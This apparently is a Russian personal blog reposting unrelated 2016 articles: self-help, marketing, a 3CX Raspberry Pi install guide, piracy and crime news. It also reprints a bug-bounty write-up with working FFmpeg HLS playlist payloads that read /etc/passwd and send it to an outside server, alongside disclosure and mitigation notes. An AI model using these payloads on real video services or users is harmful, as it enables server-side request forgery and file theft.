вторник, 23 февраля 2016 г.

9 вещей, за которые не стоит извиняться. Никогда! - Лайфхакер

9 вещей, за которые не стоит извиняться. Никогда!

Воспитанные люди так и норовят за что-то извиниться перед окружающими. Пора с этим заканчивать.

Fotokvadrat/Shutterstock.com

Fotokvadrat/Shutterstock.com

Рекомендуем вам прочитать великолепную статью о том, как перестать бояться осуждения окружающих и начать жить своей собственной жизнью. В ней подробнейшим образом рассмотрены причины, по которым людям присуще стремление никогда не выделяться, постоянно сверять своё поведение с коллективным мнением и бояться общественного осуждения.

В этой публикации мы решили подойти к этой проблеме немного с другой стороны и хотим представить вашему вниманию короткую подборку ситуаций, в которых вам точно не стоит извиняться за своё поведение. Воспринимайте это как практическое пособие и руководство к действию.

За то, что вы думаете о себе

Нам с детства столько раз повторяли, что
«Я — это последняя буква алфавита»,
что у многих это отпечаталось на подкорке головного мозга.

ADVERTISEMENT

Для этих людей совершенно естественная забота о себе и о своём благе стала чем-то постыдным и недостойным. Хотя без этого свойства невозможно прожить сколько-нибудь успешную жизнь. Не стоит класть свою жизнь на алтарь самопожертвования, тем более что чаще всего это идёт только во вред «осчастливленным» вами людям.

За выражение своих эмоций

9 вещей, за которые не стоит извиняться. Никогда!

Мы привыкли чувствовать смущение за свои слёзы или смех. Хотя это совершенно естественное проявление того, что у вас есть сердце и душа, которые, возможно, больше, чем у обладателей прилепленной на все времена спокойной гримасы. Вы можете испытывать грусть, веселье, скуку, увлечённость, вы — живой человек. Зачем это скрывать?

За прощение

Способностью к прощению и милосердию обладают только люди с действительно большим сердцем. И пусть вокруг вас удивляются, что вы подаёте руку своим недругам или не добили врага, когда для этого была прекрасная возможность, — вас это волновать не должно. Не проявляйте лишнюю жестокость только из-за того, что кто-то ждёт этого от вас.

За свои убеждения

Человек с убеждениями вызывает уважение. Человек с убеждениями, который не скрывает их и способен встать на их защиту, вызывает уважение вдвойне. Наличие твёрдых принципов в наше время является настолько редким и ценным качеством, что извиняться за них точно не следует.

За свою непохожесть

9 вещей, за которые не стоит извиняться. Никогда!

Это совершенно не странно — быть странным. Странно, наоборот, когда группа людей выглядит, думает и чувствует совершенно одинаково. Если вам повезло быть не таким, как все, то это не повод, чтобы стыдиться этого. Возможно, именно это и является вашим главным достоинством.

За то, как и с кем вы проводите своё время

В принципе, время является той единственной ценностью, которой действительно стоит дорожить. И было бы не слишком благоразумно тратить этот драгоценный ресурс, руководствуясь мнением совершенно посторонних для вас людей.

Лёжа на смертном одре, вы, скорее всего, будете не сожалеть о том, что так мало работали, а вспоминать то время, которое провели с близкими, друзьями, в интересных местах, за любимыми занятиями.

За свои неудачи

О, это любимая фобия множества людей! Страх того, что вы попробуете, у вас не получится и все вокруг будут над вами насмехаться. Они будут помнить об этом вечно, и позор за этот провал будет преследовать вас всю оставшуюся жизнь.

Но прежде чем забиваться в самый тёмный угол, представьте себе такую картину.

Вот вы — человек, который попробовал, но потерпел неудачу.
А вот другой, тот, кто побоялся даже попробовать.
Так кому из вас следует извиняться?

За свою юность

Да, у каждого из нас есть моменты в прошлом, которыми не слишком получается гордиться. Да что там мы, полистайте биографии великих — там такие факты иногда всплывают, что волосы встают дыбом.

Молодость для того и предназначена, чтобы совершать безумства и пробовать эту жизнь на зуб. Все мудрые старики раньше были молоды и глупы, совершали дурацкие поступки и, возможно, именно так и набирались мудрости. Никто не избежал такого пути в своей жизни, так что незачем этого стыдиться.

За внешность

Ещё один источник комплексов для множества людей. Да и как тут не комплексовать, когда обложки модных журналов и индустрия моды навязчиво вдалбливают нам правильные каноны стиля, а соответствовать им получается далеко не у всех.

Да, немодно одетый человек с излишком веса может вызывать улыбки. Но ещё большее внимание привлечёт этот человек, если он станет судорожно комплексовать по поводу своего внешнего вида. Поэтому если ваши отношения с модой и красотой не сложились, то расслабьтесь и забейте. Посмотрите на эту даму, ну разве она не прекрасна?

Постоянные попытки оправдать себя перед окружающими могут привести к тому, что вы упустите уникальный шанс быть самим собой, со всеми своими недостатками и достоинствами. Вы всю свою жизнь проведёте в состоянии глухой обороны, защищаясь от выдуманных претензий общества. Однако вряд ли такая тактика приведёт вас к успеху, ведь побеждает только тот, кто идёт вперёд и не извиняется на каждом шагу за это.



Отправлено с iPhone

воскресенье, 14 февраля 2016 г.

Как получать управляемый поток клиентов в 3 раза дешевле конкурентов?


Как получать управляемый поток клиентов в 3 раза дешевле конкурентов?

Часто расходы на привлечение клиентов (CPO) поедают прибыль. Бизнес работает «в ноль», и чтобы продолжить существование, предприниматель вынужден «сидеть на игле»: включил Директ — есть продажи, выключил — и обращений нет.

За время своей работы компания «Теорема» провела десятки аудитов различных рекламных кампаний, разных тематик и с разными бюджетами. В 9 из 10 случаев есть неиспользованный потенциал для роста и увеличения доходности рекламы (ROI+). Сегодня мы расскажем вам о типичных ошибках, с которыми так или иначе сталкиваются все, кто пользуется сервисом Яндекс.Директ.

пятница, 12 февраля 2016 г.

Опасное видео: как я нашёл уязвимость в видеохостингах и не умер через 7 дней / Блог компании Mail.Ru Group / Хабрахабр


Опасное видео: как я нашёл уязвимость в видеохостингах и не умер через 7 дней



Всем привет! Я Максим Андреев, программист бэкенда Облака Mail.Ru. В свободное время я люблю искать баги. В сегодняшнем посте я хочу рассказать об одной довольно интересной уязвимости, которую я нашёл и зарепортил в bug bounty нескольких крупных компаний, за что получил солидное вознаграждение. Уязвимость заключается в следующем: если сформировать специальный видеофайл и загрузить его на сервер, то:

  • можно получить на нём SSRF;
  • можно получить local file read;
  • если пользователь скачает этот файл, то автоматически будет подвержен уязвимостям, даже если его не откроет: можно будет получить доступ к данным на компьютере пользователя и узнать его имя.


Техническое предисловие




Существует огромное количество кодеков, видео- и аудиоформатов, но иногда бывает нужно получить что-то конкретное, пропустив всё это множество через некоторый чёрный ящик. Например, нам может потребоваться на выходе MP4-видео с заданным качеством либо JPEG-превьюшка. Довольно часто этим чёрным ящиком становится FFmpeg. Это open source набор библиотек и бинарных утилит, он активно развивается, поддерживает большое число аудио- и видеокодеков, поэтому его часто применяют для конвертации видео и генерации thumbnails, как в виде отдельного инструмента, так и в виде отдельных библиотек, используемых сторонними приложениями. Большинство крупных компаний запускают FFmpeg командой из скрипта или какого-то бинарника, делают fork-exec. Так сложилось, что проще из бинарника форкнуться и исполнить FFmpeg-бинарник, чем городить всё это с использованием библиотек.

Создание вредоносного файла


В составе FFmpeg есть консольная утилита ffmpeg. Создадим файл test.avi, который действительно является файлом avi, и скопируем его с двумя другими расширениями: .mov и .123. Если попросить ffmpeg сконвертировать любой из этих файлов, то он без проблем всё выполнит, то есть он не обращает внимания на расширение файла. Но здесь есть одно важное исключение, которое мне очень пригодилось в осуществлении одной из описанных в дальнейшем атак, но об этом чуть позже.

Существует такой формат видео, как HLS (HTTP Live Streaming). Он разработан компанией Apple для передачи потокового видео. Этот формат поддерживает такую приятную штуку, как адаптивный стриминг, то есть изменение качества в процессе проигрывания. Но для нас здесь важно то, что формат состоит из так называемого главного плей-листа, в котором перечислено несколько других плей-листов с каким-то заданным качеством, а уже в этих плей-листах перечислены кусочки видео.



Создадим файл test.mp4, который на самом деле является m3u8 плей-листом HLS:

#EXTM3U  #EXT-X-MEDIA-SEQUENCE:0  #EXTINF:10.0,  http://www.example.org/1.mp4  #EXT-X-ENDLIST  

У него есть заголовок, есть окончание и ссылка, по которой нужно брать кусочек видео. Как мы уже знаем, необязательно присваивать расширение .m3u8, файл может называться test.mp4 или test.mov — ffmpeg всё равно поймёт, что это плей-лист m3u8, и будет интерпретировать его именно как плей-лист. Если прогнать наш test.mp4 через любой из многих миллионов сайтов «конвертировать видео онлайн», то ffmpeg, который используется этим онлайн-конвертером, интерпретирует файл как плей-лист, пройдёт по указанной в нём ссылке и на нашем сервере мы увидим GET-запрос с IP этого онлайн-конвертера:


Запрос от одного из онлайн-конвертеров к нашему серверу

То есть на данный момент у нас уже есть простая SSRF, правда, пока мы не можем читать ответ.

Пойдём дальше. Я упоминал про важное исключение, связанное с расширениями файлов. Предложим ffmpeg сконвертировать текстовый файл file.txt в видеофайл out.mp4. Как вы думаете, что произойдёт в данном случае? В файле out.mp4 будет видео, в котором этот текстовый файл проиграется просто бегущими строками! Получается, мы уже можем красть с этих онлайн-сервисов конвертации любые txt-файлы. Но это нам не очень интересно. Перейдём дальше.

А что, если мы к http url допишем в конце в GET-параметр .txt? Оказывается, ffmpeg подумает, что это текстовый файл и надо интерпретировать ответ как txt. Вот пример запроса к mail.ru:

#EXTM3U  #EXT-X-MEDIA-SEQUENCE:0  #EXTINF:10.0,  http://www.mail.ru/?.txt  #EXT-X-ENDLIST  



HTML-код из ответа проигрывается в полученном видео! То есть в данном случае мы получили возможность с помощью этой SSRF читать ответ на любые сетевые запросы.

Двигаемся дальше. FFmpeg поддерживает огромное количество различных протоколов, в том числе concat. Согласно документации, этот протокол читает бинарный поток данных из нескольких источников, склеивает и в дальнейшем интерпретирует их, как будто они из одного источника.

Давайте разберём на примере. Допустим, у нас есть файл header.m3u8, такой недоделанный плей-лист, в котором написано «example.org?». Сделаем так, чтобы FFmpeg после подачи ему test.avi с помощью протокола concat сформировал хитрый m3u8, содержащий file:///etc/passwd, и отправил это на наш сервер example.org:

файл, размещённый на dx.su/header.m3u8:
#EXTM3U  #EXT-X-MEDIA-SEQUENCE:0  #EXTINF:,  http://example.org?  

test.avi:
#EXTM3U  #EXT-X-MEDIA-SEQUENCE:0  #EXTINF:10.0,  concat:http://dx.su/header.m3u8|file:///etc/passwd  #EXT-X-ENDLIST  



http://example.org?# $FreeBSD: release/10.0.0/et..  

FFmpeg, получив test.avi, возьмёт header.m3u8 и раскроет его как example.org, а из file:///etc/passwd возьмёт первую строчку, сконструирует URL и перейдёт по нему. Таким образом, мы можем получить первую строчку совершенно любого локального файла, которая будет передана по HTTP на наш сервер, если мы контролируем example.org. Существует небольшой трюк, который позволяет нам не только красть первую строчку, но и читать весь файл построчно, — другой протокол с названием subfile. Я не стану здесь это расписывать, но, если вам интересно, посмотрите документацию, там ничего сложного нет.

Рассмотрим другой способ кражи всего файла. Воспользуемся таким же приёмом с concat и возьмём заголовок видеоформата YUV4MPEG2. Это формат без сжатия, с простым текстовым заголовком. Любой поток данных в этом файле интерпретируется как 8 бит на 1 пиксель, то есть 1 байт на 1 пиксель. Возьмём video.mp4, в котором будет сoncat этого header и file:///etc/passwd. Представим, что мы загрузили его на какой-то облачный видеосервис. Скорее всего, вы увидите превьюшку. А для её генерирования, скорее всего, тоже будет как-то использоваться FFmpeg.

Примем ради упрощения, что превьюшка у нас в формате PNG, то есть сжатая без потерь. Попросим ffmpeg сделать thumbnail из якобы MP4-видео video.mp4, которое на самом деле является хитрым плей-листом m3u8:

файл header.y4m:
YUV4MPEG2 W30 H30 F25:1 Ip A0:0 Cmono  FRAME  

файл video.mp4:
#EXTM3U  #EXT-X-MEDIA-SEQUENCE:0  #EXTINF:10.0,  concat:http://dx.su/header.y4m|file:///etc/passwd  #EXT-X-ENDLIST  


ffmpeg -i video.mp4 thumbnail.png  


thumbnail.png

А теперь полученный thumbnail декодируем обратно:

ffmpeg -i thumbnail.png out.y4m  

файл out.y4m:
YUV4MPEG2 W30 H30 F25:1 Ip A0:0 Cmono  FRAME  # $FreeBSD: release/10.0.0/etc/master.passwd 256366  ,! 2013-10-12 06:08:18Z rpaulo $  #  root:*:0:0:Charlie &:/root:/usr/local/bin/zsh  toor:*:0:0:Bourne-again Superuser:/root:  …  

Мы можем увидеть заголовок, который был в header.y4m, а в дальнейшем — полный текст file:///etc/passwd.

Предположим, что мы снова сгенерировали наш вредоносный файл с нужным заголовком, проделали трюк с concat, использовали file:///etc/passwd. Только теперь не загружаем файл на какой-то сервис, а просто отдаём пользователю, чтобы он его скачал и даже не запускал. Если вы пользуетесь, скажем, Kali Linux, то, пока будет генерироваться превьюшка, GStreamer передаст на наш сервер в реферере полный путь этого файла. Так мы можем узнать имя пользователя и какую-нибудь ещё непубличную информацию. А в случае с Ubuntu FFmpeg передаст нам первую строку file:///etc/passwd того пользователя, который просто скачал файл.


Запрос от Kali Linux


Запрос от Ubuntu Linux

В заключение


С помощью такого специально сконструированного видеофайла можно сначала делать просто SSRF-запросы без чтения ответа, читать ответ на любые сетевые запросы, читать локальные файлы, причём несколькими способами. И более того, мы даже можем направить эту атаку против обычных пользователей, которые всего лишь скачали файл, а не против серверов.

Кстати, об этой уязвимости я рассказывал на последнем Security Meetup'е — теперь они регулярно проходят у нас в Mail.Ru Group. Если вы хотите принять участие в одном из следующих и вам есть о чём рассказать, напишите об этом мне, Кариму valievkarim Валиеву или Владимиру z3apa3a Дубровину.

UPD: Как защититься от проблемы при кодировании видео на сервере с помощью ffmpeg:

  1. Запускать ffmpeg в изолированном окружении (в chroot или в контейнере) — обязательно, учитывая, что ffmpeg потенциально содержит много уязвимостей, независимо от описанной в данной статье проблемы (см. googleonlinesecurity.blogspot.ru/2014/01/ffmpeg-and-thousand-fixes.html).
  2. Запускать ffmpeg внутри этого окружения из-под отдельного пользователя с доступом на запись/чтение только туда, куда нужно.
  3. Отключить (--disable-network в configure) или ограничить (в iptables можно делать правила по uid'у пользователя) доступ к сети ffmpeg'у, если полное отключение невозможно.

Разработчики ffmpeg/libav уведомлены о проблеме, я сделал и отправил им патч.                    

среда, 10 февраля 2016 г.

Как решить 5 главных проблем онлайн покупателей / Блог компании TriggMine / Мегамозг


Как решить 5 главных проблем онлайн покупателей

image

Если вы столкнулись с тем, что посетители плохо конвертируются в покупателей и вам не удается продавать столько, сколько вы планировали, скорее всего вы что-то делаете не так.

У каждого покупателя есть свой источник «головной боли» и пока вы не устраните его у себя на сайте, продаж вам не видать.



По статистике 43% всех покупок совершаются под воздействием интернета, НО непосредственно онлайн транзакции составляют всего 9% всего товарооборота. Получается, что люди присматривают, выбирают, сравнивают товары в интернете, но покупать их предпочитают в оффлайне.



На практике, существует огромное количество людей, которые до сих пор предпочитают покупать в реальных магазинах. Ничто не может повлиять на них, ни ваши супер-лояльные цены, ни широчайший выбор товаров, ни простейшая форма оформления заказа…

Так ЧТО же все-таки их останавливает? И ЧТО с этим делать?


1. Это #СЛОЖНО…



Клиенты любят сайты со сложным дизайном (проще говоря «дорогие»), при этом они совсем не любят, чтобы на этих самых сайтах была сложная и непонятная навигация…

Исследования компании Forrester Research доказывают, что 50% клиентов уходят без покупок только потому, что они просто не смогли найти то, что искали…



Посетители вашего сайта не должны учиться тому, как пользоваться вашим сайтом, исходя из того, что вы им навязываете. Весь процесс должен проходить естественно, а навигация — быть интуитивно понятной.

ЧТО делать:

Воспользуйтесь тепловой картой для анализа того, куда ваши клиенты кликают, чтобы найти нужный товар.

Уберите все элементы, которые отвлекают клиента от главной цели — поиска нужного товара и покупки.

image
*Карта кликов Ebay. Источник: www.eyeproved.com

2. Это #СКУЧНО…



Во время покупок онлайн, внимание клиентов такой же, как и при покупках в оживленном торговом центре, где множество магазинов. Оно очень быстро рассеивается, переходит от одного магазина к другому…

Ситуация еще более усугубляется в онлайне тем, что как только посетителю становиться скучно, не интересно — он очень быстро исчезает насовсем…

ЧТО делать:

Добавьте немного жизни на ваш сайт, сделать покупки увлекательными. Для этого существует множество способов:

  1. Геймификация (применение игровых механик)
  2. Интерактивные обзорные видео
  3. Социальная вовлеченность (например, возможность поделиться новостью о новой покупке в социальных сетях)
  4. И еще один важный момент, уделите внимание скорости загрузки вашего сайта. Не у всех клиентов есть доступ к высокоскоростному интернету, а терять из-за этого покупателей не хотелось бы.



По данным компании Kissmetrics, 25% клиентов закроют окно сайта, если он загружается более 4 секунд…


Отличный пример от Dropbox:

image

Они предлагают вам бонус — 250MB дополнительного места на диске за то, что вы выполните несколько простых заданий.

3. Информации о товаре #НЕДОСТАТОЧНО…



Покупатели ненавидят оформлять возврат товара, ненавидят так же, как и продавцы…Поэтому клиенты отказываются от покупки тех товаров, реальный внешний вид которых они не могут представить.

Очень важно описать товар так, чтобы прочитав это описание, клиент понимал что он получит, открыв дома коробку.

Исследование Forrester Research показывает, что 45% клиентов незамедлительно уйдут с сайта, если не смогли найти ответ на свой вопрос…



ЧТО делать:

Добавьте максимально подробное описание товара, характеристики, размеры и т.п… Добавьте как можно больше фотографий с разных ракурсов (можно использоваться 3D изображения), видео-обзор, отзывы других покупателей.

Не лишней будет опция «Сравнить товары», которая поможет клиенту быстрее определиться с выбором.

Отличный пример — описание iPad на сайте компании Apple.

image

4. Руками #НЕ ТРОГАТЬ…




Люди — тактильные существа, поэтому «пощупать» товар для нас очень важно…



Невозможность физически посмотреть, потрогать товары — одна из самых больших проблем онлайн шоппинга. Поэтому, чтобы преодолеть возражения клиентов на эту тему, приходится продавать не просто товар, но и опыт пользования им.

ЧТО делать:

Составьте описание товаров таким образом, чтобы выгодно подчеркнуть каждое преимущество и создать в голове покупателей визуальную картинку, заставить работать воображение.

Недостаточно просто описать характеристики товара, необходимо обязательно добавить информацию о том, какую пользу клиент получит вместе с этим товаром.

Фото, видео и отзывы — MUST HAVE!

Посмотрите, как Bellroy презентует новую модель кошельков:



5. Разбирайтесь #САМИ…



Наличие огромное товарного ассортимента — ключ к доминированию на рынке. Да, это так…

НО психологи говорят о том, что выбор товара среди большого ассортимента, большой стресс для человеческого организма.

Предлагая большой выбор товаров, но не предлагая помощи с выбором, вы обрекаете клиентов на долгосрочные блуждания по категориям и карточкам товаров.



И, как только клиент устанет от всего этого, он незамедлительно уйдет, ничего не купив.

ЧТО делать:

Всегда ставьте себя на место клиентов, чтобы понять о чем они думают, что хотят найти у вас на сайте.

Большинство покупателей, особенно поколение Y, гуляют по сайту, часто даже не зная, что конкретно им нужно…


И это ваш шанс выступить в роли эксперта, помочь подобрать то, что им понравится.

Luna Sandals предлагают своим клиентам онлайн помощник для выбора сандалей:

image

81% клиентов ответили, что они обязательно купят в магазине снова, если остались довольны предыдущим опытом покупки. Поэтому избавление клиентов от «головной боли» во время онлайн покупок, обязательно окупиться в будущем.

Довольные клиенты будут покупать больше и чаще, а главное приводить вам новых покупателей.                    

понедельник, 8 февраля 2016 г.

Installing 3CX (SBC) Session Border Controller for Raspberry Pi


Installing 3CX (SBC) Session Border Controller for Raspberry Pi



  • Installing 3CX SBC (Session Border Controller) for Raspberry Pi


  • Introduction


  • Step 1: Install Raspbian Operating system


  • Step 2: Download and Install 3CX SBC


  • Step 3: Configure 3CX SBC


  • Upgrade SBC

  • Introduction

    The 3CX SBC is deployed to remote offices where there are more than 2 or 3 IP Phones, to direct only their signaling through the 3CX Tunnel and keep the media streams local which reduces the amount of internet bandwidth that local calls between phones use. SBC will bundle all SIP traffic over a single TCP port which simplifies your deployment by reducing firewall configuration. In addition 3CX SBC will add stability & security and allow you to easily manage and provision your IP Phones remotely.


    When purchasing a Raspberry Pi, make sure to purchase the Raspberry Pi 2 Model B which is more performant than it's predecessor (V1) and select the "kit" option which includes a supported SD Card because not all SD cards are compatible.


    The 3CX SBC on a Raspberry PI should be used when the remote office has up to 5 users. If you have more than 5 users, then you need to use the 3CX SBC for Windows.


    Step 1: Install Raspbian Operating system

    1. Assemble your Raspberry Pi, connect it to a monitor using a HDMI cable, plug in to your network and power up the device.
    2. A window titled "NOOBS" will appear. Select Raspbian OS and install. When the installation is completed a menu will come up.
    3. Select option 2 to change the default password. The Default username is "pi" and password "raspberry".
    4. Select option 8 - (Advanced Options) and select the "Hostname" option. Enter a unique hostname for the device.
    5. Enable SSH on the device to be able to connect to it using a SSH client.
    6. From the main menu select "Finish" and select "Yes" to reboot.

    Step 2: Download and Install 3CX SBC



    1. Type the following command to the terminal:  

    'wget http://downloads.3cx.com/downloads/sbc/3cxsbc.zip' and  press "Enter"



    1. Type this command 'sudo bash 3cxsbc.zip' and press "Enter"

    Step 3: Configure 3CX SBC

    Once installed you will be prompted to enter the details for your 3CX Phone System as described above in the Required Details section.


    In this section you are going to need to access the 3CX Management console to get information from there.



    1. Enter "FQDN": You can get this from "Settings" > "Network" > "FQDN Tab".


    1. Enter "Local IP". Enter the IP Address of 3CX Phone System. If 3CX Phone System is behind a NAT enter the local IP. If 3CX Phone System is not behind a NAT (where "ipconfig" will result in a public IP address), then enter the Public IP.


    1. Enter "PBX Port": You can get this from "Settings" >  "Network"> "Ports" tab > "SIP Port" field.


    1. Enter "Tunnel port": located in "Settings" > "Security" > "3CX Tunnel" > "Tunnel Listening port"


    1. Enter "Tunnel Password": which you can get from "Settings" > "Security" > "3CX Tunnel" > "Tunnel Password".


    1. 3CX SBC has the ability to connect your remote office to another standby 3CX Phone System in case the 3CX Primary Server is no longer reachable. If you have failover configured with 3CX Phone System, select option 1: Enable Failover followed by the public ip of the standby failover server. Otherwise choose option 2.


    1. Enable Encryption to add an extra layer of security by encrypting all data and calls passing through the 3CX SBC and the 3CX PBX. This requires 3CXPhone System Version 14 and higher.  

    Upgrade SBC

    If you are already running version of the 3CX SBC installed on your Raspberry Pi you can upgrade as follows:


    • Enter 'sudo apt-get update'
    • Enter 'sudo apt-get install 3cxsbc'
    • Type "N" and press "Enter"

    Your 3CX SBC will update and restart. You can proceed to configure your IP Phones from your 3CX Phone System. 



    Плагин Torrents-Time превратит крупнейшие торрент-трекеры в онлайновые кинотеатры - «Хакер»




    ПЛАГИН TORRENTS-TIME ПРЕВРАТИТ КРУПНЕЙШИЕ ТОРРЕНТ-ТРЕКЕРЫ В ОНЛАЙНОВЫЕ КИНОТЕАТРЫ

    Браузерный плагин Torrents-Time, похоже, пытается совершить небольшую революцию, перевернув современные представления о торрент-трекерах с ног на голову. За основу плагина взята концепция Popcorn Time, только разработчики предлагают внедрить её в любой современный браузер. Плагин позволяет стримить контент с торрент-трекеров и смотреть  фильмы и сериалы прямо в окне браузера. Идея пришлась по душе и администраторам крупнейших трекеров мира. The Pirate Bay уже превратился в крупнейший пиратский кинотеатр, добавив кнопку «Stream It!» ко всем раздачам видео.

    Плагин

    Проект Torrents-Time заработал в первых числах февраля. Плагин поддерживает все основные браузеры и работает как для Windows, так и для Mac.

    Авторы Torrents-Time взяли пример с создателя сайта BrowserPopcorn, который предлагал запускать Popcorn Time прямо в браузере. Но BrowserPopcorn работал не как приложение Popcorn Time, опираясь не на архитектуру BitTorrent, он попросту доставлял пользователям контент посредством HTTP. Так как полосы пропускания не хватало для тысяч пользователей, идея себя не оправдала.

    Torrents-Time действует иначе. Он встраивает торрент-клиент непосредственно в браузер, позволяя проигрывать видео прямо во вкладке обозревателя. По сути, отдельный торрент-клиент вообще не нужен.

    Авторы плагина рассказали изданию TorrentFreak, что Torrents-Time состоит из двух частей: движка торрент-клиента, основанного на Libtorrent (есть поддержка PEX и DHT), и видеоплеера, который команда написала самостоятельно. Сообщается, что плеер использует FFmpeg и «понимает» большинство современных форматов.

    Кроме того, Torrents-Time предлагает пользователям встроенный VPN (в данный момент Anonymous VPN) для полной приватности. На официальном сайте команда сообщает, что также открыта для сотрудничества с другими VPN-провайдерами.

    Революция на трекерах?

    Хотя плагин интересен сам по себе, команда авторов Torrents-Time также пообещала вскоре предоставить администраторам трекеров инструмент, который позволит им превратить свои ресурсы в онлайновые кинотеатры. Разработчики сдержали слово и уже опубликовали все необходимое в репозитории GitHub.

    Важный нюанс: технологию предлагается использовать не только для удобства пользователей, но и как средство монетизации, которое позволит хозяевам трекеров отказаться от размещения на сайте назойливых рекламных баннеров. По замыслу разработчиков, использование Torrents-Time должно привлечь к трекерам внимание «приличных» рекламных сетей. К примеру, трекер может зарабатывать, рекламируя услуги провайдеров VPN.

    Поддержать Torrents-Time сразу же решил один из крупнейших трекеров мира — The Pirate Bay. На страницах «Бухты» появилась бета-версия кнопки «Stream It!», нажатие на которую позволяет пользователям с установленным плагином смотреть видео прямо на странице.

    Если пользователь еще не установил плагин Torrents-Time, после клика по кнопке «Stream It!», ему будет предложено это сделать. Когда плагин установлен, клик приведет к появлению окна видеоплеера. После нажатия на «Play» пользователь сначала увидит рекламу. В данный момент, это услуги VPN-провайдера: баннер сообщает юзеру, что его IP-адрес не скрыт, и предлагает исправить это за скромную сумму.

    Закрыв рекламное объявление, пользователь перейдет к просмотру видео. Сначала заработает встроенный торрент-клиент, подгрузив контент.

    Как только будет обнаружено достаточное количество пиров, и в буфере окажется нужное для старта видео количество контента (как правило, это занимает пару минут), можно приступать к просмотру.

    В данный момент плеер  Torrents-Time предлагает только базовые функции, но имеет поддержку субтитров, а также Chromecast, Airplay и DNLA.

    The Pirate Bay стал лишь «первой ласточкой» в числе крупных ресурсов, которым понравилась идея Torrents-Time. По информации издания TorrentFreak, над внедрением онлайнового вещания уже работают и другие лидирующие трекеры сети: Torrentproject.se, Videomax.is и Online.porntime.ws. Более того, на сегодня самым большим трекером в мире считается KickassTorrents, и его разработчики пообещали добавить функцию Torrents-Time на сайт уже сегодня, 8 февраля 2016 года.

    «Мы уверены, что совсем скоро поддержку Torrents-Time внедрят все торрент-трекеры, которые хотят идти в ногу с эволюцией», — заявляют разработчики Torrent-Time.



    Фото: TorrentFreak

    Самые странные объекты на картах Google Earth | Naked Science


    Самые странные объекты на картах Google Earth

    Таинственный остров


    В 2012 году группа австралийских исследователей обнаружила «неоткрытый» остров размером с Манхэттен (58,8 кв. км) в южной части Тихого океана. Загадочное место получило название остров Сэнди и заняло место на картах к северо-западу от Новой Каледонии. На картах Google он тоже появился, напоминая черную угловатую сосиску. Однако, когда в ноябре 2012-го на место предполагаемого острова прибыли ученые, они обнаружили лишь бескрайние океанские просторы. В своем объяснении, обнародованном в апреле 2013 года, ученые объявили остров «ошибкой», пояснив, что, скорее всего, за остров принималось какое-то скопление или образование, возможно, из пемзы.

     

    ©livescience.com


     

    Озеро крови


    За пределами города Садр в Ираке в точке с координатами 33.396157° северной широты и 44.486926° восточной долготы, судя по картам Google, находится кроваво-красное озеро. Никаких официальных объяснений по поводу происхождения этого объекта нет. В числе неофициальных версий: слив в озеро отходов производства или местных скотобоен, а возможно (и скорее всего), особые бактерии, придающие воде красный оттенок.

     

    ©livescience.com


     

    Муравьиный горошек


    Странный узор в виде горошка в районе вулкана на северной стороне Гранд-Каньона в США получил довольно простое объяснение ученых. Авторами узора оказались красные муравьи-жнецы (Pogonomyrmex barbatus), обитающие в этой пустыне. Они создают гнездовые холмики до 120 см в поперечнике, вокруг которых примерно на 10 кв. м простирается голая земля. Между тем это объяснение, выдвинутое физиком Амелией Каролиной Спаравилья из института в Турине, пока является лишь гипотезой и не получило официального подтверждения.

     

    ©livescience.com


     

    Остров-«матрешка»


    А это – самый большой в мире остров на озере, которое расположено на острове в озере, находящемся на острове. Узкая полоска земли находится в Канаде на небольшом озере, расположенном на другом острове. Он тоже, в свою очередь, находится на озере в 90 км от побережья внутри острова Виктория в Канадском Арктическом архипелаге. По предположениям журналистов, на остров-«матрешку» никогда не ступала нога человека.

     

    ©livescience.com


     

    Кладбище ушедших на покой самолетов


    Авиабаза ВВС США «Девис-Монтен» – это то место, куда прибывают умирать военные самолеты. «Могильник» с координатами 32 08'59.96° северной широты, 110 50'09.03° восточной долготы и площадью более 10 кв. км официально является закрытым для публики, но посмотреть на него все же можно с помощью Google Earth. Здесь содержатся останки многих легендарных самолетов, от B-52 StratoFortress до F-14 Tomcat. Среди нескольких тысяч единиц авиатехники есть и космические корабли, отслужившие свой срок. По некоторым оценкам, общая стоимость находящегося здесь металлолома превышает 35 млрд долларов.

     

    ©livescience.com


     

    Имя на песке


    Шейх, миллиардер и член правящей семьи Абу-Даби Хамад бен Хамдан Аль Нахайян поручил вырезать свое имя на песке принадлежащего ему острова Аль Футаиси (в 8 км от Абу-Даби) в Персидском заливе. Судя по всему, это самая большая надпись на песке в мире. Буквы настолько велики, что взаимодействуют с приливом, заполняясь водой, вместо того, чтобы оказаться смытыми им.

     

    ©livescience.com


     

    Загадочный узор Гоби


    В китайской пустыне Гоби снимки зафиксировали довольно много структур, которым трудно найти объяснение. Одна из них – загадочная сетка правильной формы. Обсуждая снимки, пользователи Интернета, в основном, склонялись к военно-стратегическому происхождению объекта. Смущала площадь узора – порядка 33 км. Однако, скорее всего, это антенна Яги-Уда, она же «волновой канал». Эта антенна состоит из расположенных вдоль линии излучения параллельно друг другу активного и нескольких пассивных вибраторов и применяется в системах радиосвязи и радиолокации.

     

    ©livescience.com


     

    Рекламные создания


    Троллинг карт Google имеет давнюю историю – люди не могут отказать себе в удовольствии разнообразить их пейзажи рукотворными символами. Даже появился особый термин – mapvertising. В результате на склоне холма в Чили можно увидеть крупнейший в мире логотип компании Coca-Cola. При этом утверждается, что он изготовлен из 70 тыс. пустых бутылок из-под газировки. Еще один рекламный креатив обосновался в Неваде – это гигантское изображение символа KFC, полковника Сандерса.

     

    ©livescience.com


     

    «Поцелуй Земли»


    Одним из самых забавных объектов на Google Earth, безусловно, является «поцелуй Земли». Эти необычные холмы, похожие на губы, расположены в суданском Дарфуре и традиционно являются источником остроумных комментариев в Сети. 

     

    ©livescience.com

     
      

    Автор книги «Как я спас брак и разрешил семейные проблемы» получил пожизненный срок за убийство жены


    Автор книги «Как я спас брак и разрешил семейные проблемы» получил пожизненный срок за убийство жены

    Дерек Медина

    5 февраля 33-летний американец Дерек Медина получил пожизненный срок за убийство своей жены. Мужчина прославился тем, что сразу после совершения преступления опубликовал на Фейсбуке снимок трупа своей супруги с подписью «Покойся с миром Дженнифер Алонсо».

    В суде Медина до последнего заявлял, что убийство было совершено в рамках самозащиты. Он говорил, что Дженнифер регулярно била его, а в свой последний день взялась за нож, после чего он был вынужден открыть огонь из пистолета.

    Однако судью эти доводы не убедили, так как Медина не только опубликовал снимок, но и выпустил в супругу целую обойму, хотя для самообороны хватило бы и предупредительного выстрела.

    В своём последнем слове Медина обвинил во всём Барака Обаму и коррупцию.

